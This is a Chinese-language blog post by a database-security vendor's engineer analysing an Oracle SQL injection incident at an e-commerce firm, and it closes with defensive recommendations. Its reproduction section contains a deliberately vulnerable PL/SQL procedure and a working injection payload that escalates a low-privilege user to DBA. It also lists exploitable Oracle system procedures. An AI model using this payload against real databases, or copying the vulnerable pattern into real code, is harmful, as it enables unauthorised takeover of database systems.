預存程序造成嚴重安全後門——記某電商SQL注入安全事件執行個體分析

標籤：sql注入   資料安全   資料庫安全   

3月女人節，電商行業自己創辦的節日，著實讓愛購物的女人們瘋狂了一把。默默躲在螢幕背後的黑手，此時也正值忙碌時期。事後，筆者有幸被邀請參與A公司駭客入侵電商ERP系統安全事件的評估分析。駭客採取的手段和事後的原因追查分析，隱去客戶資訊，分享給大家，警示防範。

事件起由，公司發現電商ERP系統後台資料庫（oracle）被SQL注入，特別嚴重的是應用所用的普通使用者帳號被提升為DBA許可權；所幸的是入侵者並未對資料庫的後台資料進行破壞，比如truncate table或drop database，否則後果不堪影響。於是，公司內安全性系統管理員對該帳號進行行業內部的資訊處理後，作為資料庫安全的重要廠商安華金和的滲透研究工程師，筆者也被邀請參與其中，對此次事件的原因和防範措施進行總結。鏡頭回放，詳見下文：

入侵過程概述

線索發生在A公司電商系統對應的web伺服器apache日誌上面。日誌中記錄了大量的sql注入行為，筆者分析確定此次入侵是由web注入開始，通過電子商務系統漏洞，駭客擷取了當前電子商務系統的一個訪問資料庫的帳號erp_user。這個帳號本身只有應用系
統的表存取權限，但是駭客通過應用系統的一個具有注入漏洞的預存程序完成了提權入侵，該預存程序含有參數類型為varchar的函數，通過對於該參數傳入“GRANT DBA TO ERP_USER“，完成帳號的全部提權工作；經過對原始碼的檢查，發現在該函數內部，存在通過參數拼接形成SQL語句並執行的代碼。

入侵過程重現

為了說明清楚，筆者這裡為大家類比重現一下駭客的入侵過程。

（1）首先我們類比出開發人員所建立的不安全預存程序：
CREATE OR REPLACE PROCEDURE VULNPROC(STR VARCHAR) 
IS STMT VARCHAR(2000);
BEGIN 
STMT:=‘SELECT * FROM ALL_OBJECTS WHERE OBJECT_NAME = ‘‘‘ || STR ||‘‘‘‘;
EXECUTE IMMEDIATE STMT;
END ;
GRANT EXECUTE ON VULNPROC TO PUBLIC --把該預存程序執行許可權賦給public;

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/6C/62/wKiom1VIMPuxjB1wAACrclQzhmQ757.jpg" title="20150415-1.jpg" alt="wKiom1VIMPuxjB1wAACrclQzhmQ757.jpg" />

（2）其次我們建立一個最低等級的使用者帳號

建立測試帳號用於類比駭客獲得的帳號。帳號為schina（文中用於重現的資料庫是在XP上的11.2.0.1.0）

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/6C/62/wKiom1VIMc_gWJZbAACfv3izd8Q811.jpg" style="float:none;" title="20150415-2.jpg" alt="wKiom1VIMc_gWJZbAACfv3izd8Q811.jpg" />

sqlplus / as sysdba --登入資料庫;
create user schina identified by schina --建立測試使用者 ;
grant create session to schina --只賦予session許可權;
connect schina/schina --登入測試帳號;
SELECT * FROM SESSION_PRIVS --查詢目前使用者許可權;

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/6C/5E/wKioL1VIMz-zkIEzAABv4vAn7H0665.jpg" title="20150415-3.jpg" style="float:none;" alt="wKioL1VIMz-zkIEzAABv4vAn7H0665.jpg" />

（3）類比駭客提權

用schina帳號登入，調用預存程序VULNPROC中間嵌入提權語句GRANT DBA TO schina。

EXEC
SYS.VULNPROC(‘liusicheng‘‘||SYS.KUPP$PROC.CREATE_MASTER_PROCESS
(‘‘EXECUTE IMMEDIATE ‘‘‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE ‘‘‘‘‘‘‘‘GRANT DBA TO schina‘‘‘‘‘‘‘‘; 
END;‘‘‘‘;‘‘)||‘‘schina‘);

SET ROLE DBA --成功；

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/6C/62/wKiom1VIMdCCQPelAADUsecKmmA974.jpg" title="20150415-4.jpg" style="float:none;" alt="wKiom1VIMdCCQPelAADUsecKmmA974.jpg" />

SELECT * FROM USER_ROLE_PRIVS --查詢目前使用者許可權發現已具備DBA許可權；

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/6C/5E/wKioL1VIM0HwuTjZAABgz4XJwls924.jpg" title="20150415-5.jpg" style="float:none;" alt="wKioL1VIM0HwuTjZAABgz4XJwls924.jpg" />

至此入侵結束，整個過程已經完整重現。

通過這次駭客提權入侵過程，我們可以總結出駭客入侵的過程是通過一系列手段完成的。首先通過web應用的漏洞擷取一個資料庫低許可權口令，然後通過某DBA建立的不安全預存程序和某特定系統函數參數對低許可權使用者進行提權。最終駭客獲得一個DBA許可權帳號。

原因和防護建議

按照類比的整個過程，我們可以看出，此次駭客入侵主要源於A公司電子商務系統三個方向的安全隱患：

1. web應用系統自身安全

2. oracle資料庫的安全機制的缺陷

3. 應用開發商的低級PL/SQL代碼

（1）web應用安全的問題與修複建議

安全問題：

web應用程式的編寫缺乏對sql注入的防禦機制

缺乏專業的web防火牆或資料庫防火牆的安全保護措施

解決建議：

對應用軟體進行安全升級，改變不規範的書寫方式，儘可能使用prepare的方式進行SQL語句執行；

增加輸入內容的代碼規範檢查

定期對web應用進行漏洞掃描，廠商配合對出現的漏洞快速修複

加裝WAF等web防火牆，增強抗sql注入能力

在web應用和資料庫之間串入資料庫防火牆，進一步防止WAF無法識別的sql注入

（2）oracle資料安全機制缺陷

缺陷1

oracle資料庫自身的預存程序和函數調用的許可權機制存在安全隱患：

使用者調用pl/sql子程式的時候，程式在訪問所涉及到的底層對象（包括表格等）時，使用者不必擁有訪問這些對象的許可權，只需要使用者有該預存程序的執行許可權即可；而執行時是參照的是該子程式定義者的許可權。

簡單說就是如果用建立者只有建立許可權，沒有執行許可權那麼即便用sys帳號也依舊無法執行。因為執行定義者許可權模式的子程式的時候。在子程式中當前帳號許可權和建立該子程式使用者權限一致。雖然這給oracle帶來了很大的靈活性，但是會有很大的安全隱患。就像上文的例子一樣。駭客可以利用子程式獲得和子程式建立者一樣高的許可權，再以高許可權執行惡意代碼。駭客可以通過這種手段獲得DBA帳號、甚至控制整個oracle。

缺陷2

oracle中有些系統函數的參數對輸入類型和長度缺乏控制，導致形成注入點。對於這種oracle缺乏控制的的函數的參數需要進一步約束。約束的方法可以等待oracle進行補丁修複後進行補丁升級，也可以通過資料庫防火牆對特定函數使用的範圍做一定的限制。

缺陷3

Oracle自身存在系統預存程序或函數自身存在提權漏洞，這些系統性的預存程序或函數需要調用者的許可權很低，但通過注入的方式，完成將調用者的許可權提升到dba，如：
SYS.LT.COMPRESSWORKSPACETREE、SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE、SYS.KUPW$WORKER.MAIN、CTXSYS.DRILOAD.BUILD_DML等。

PL/SQL開發人員的低級錯誤

1.缺乏對使用者輸入的限制。對於資料庫防提權來講，最關鍵的是嚴格控制使用者輸入。可以通過動態變數的方法，在指定使用者輸入時，由具體應用限制傳入動態變數中的資料。例如在一定範圍內限制使用單引號等特殊字元，不允許出現特定字串例如 DBA，禁止使用串連符（||）等。

2.嚴格限制許可權，DBA一定要及時收回一些暫時給使用者的許可權。否則會成為多種sql注入方式滋生的土壤。例如，如果不收回alter session許可權。駭客就可以利用alter session 許可權修改系統預設參數來完成lateral許可權提升攻擊。曾經在oracle10g中很多駭客利用MDSYS這個使用者對資料庫進行惡意攻擊。MDSYS能進行一系列攻擊的根源就是該使用者具備CREATE ANY TRIGGER許可權。找到資料庫中擁有DBA許可權的使用者。提取該使用者擁有的表中允許PUBLIC使用者執行DML操作的表。MDSYS建立一個具有惡意代碼的觸發器。將觸發器執行一個擁有調用者許可權的過程這樣就會使得該過程能夠以DBA許可權執行。執行惡意代碼

小結

資料庫和web應用自身存在諸多問題，這些問題最佳方式是擷取廠商及時發布的修複補丁。
但由於發布時間或服務購買的原因等諸多原因會造成一段漏洞的真空期，這段真空期就需要通過對應的防火牆進行暫時的防護。但實際上真正被駭客入侵的案例中，往往和開發人員或DBA的失誤操作密不可分。

為了有效防止這些問題，建議終端使用者可以採用如下措施：

（1）採用漏洞掃描工具及時發現在web應用程式、資料庫、PL/SQL中存在的問題；當前很少有使用者對PL/SQL中的代碼進行檢查，這樣惡意的開發人員或安全意識差的開發人員的程式中往往留下可注入的漏洞或後門；類似於安華金和這樣的廠商提供的資料庫漏掃工具就具備對高風險的PL/SQL程式進行掃描的能力。
（2）採用資料庫防火牆或WEB防火牆對外部駭客的攻擊行為進行檢查和攔截；安華金和的資料庫防火牆，可以有效地對來自於應用的SQL注入進行攔截，甚至那些複雜的能夠繞過WAF的攻擊行為。

本文出自 “資料庫安全” 部落格，請務必保留此出處http://schina.blog.51cto.com/9734953/1641975

預存程序造成嚴重安全後門——記某電商SQL注入安全事件執行個體分析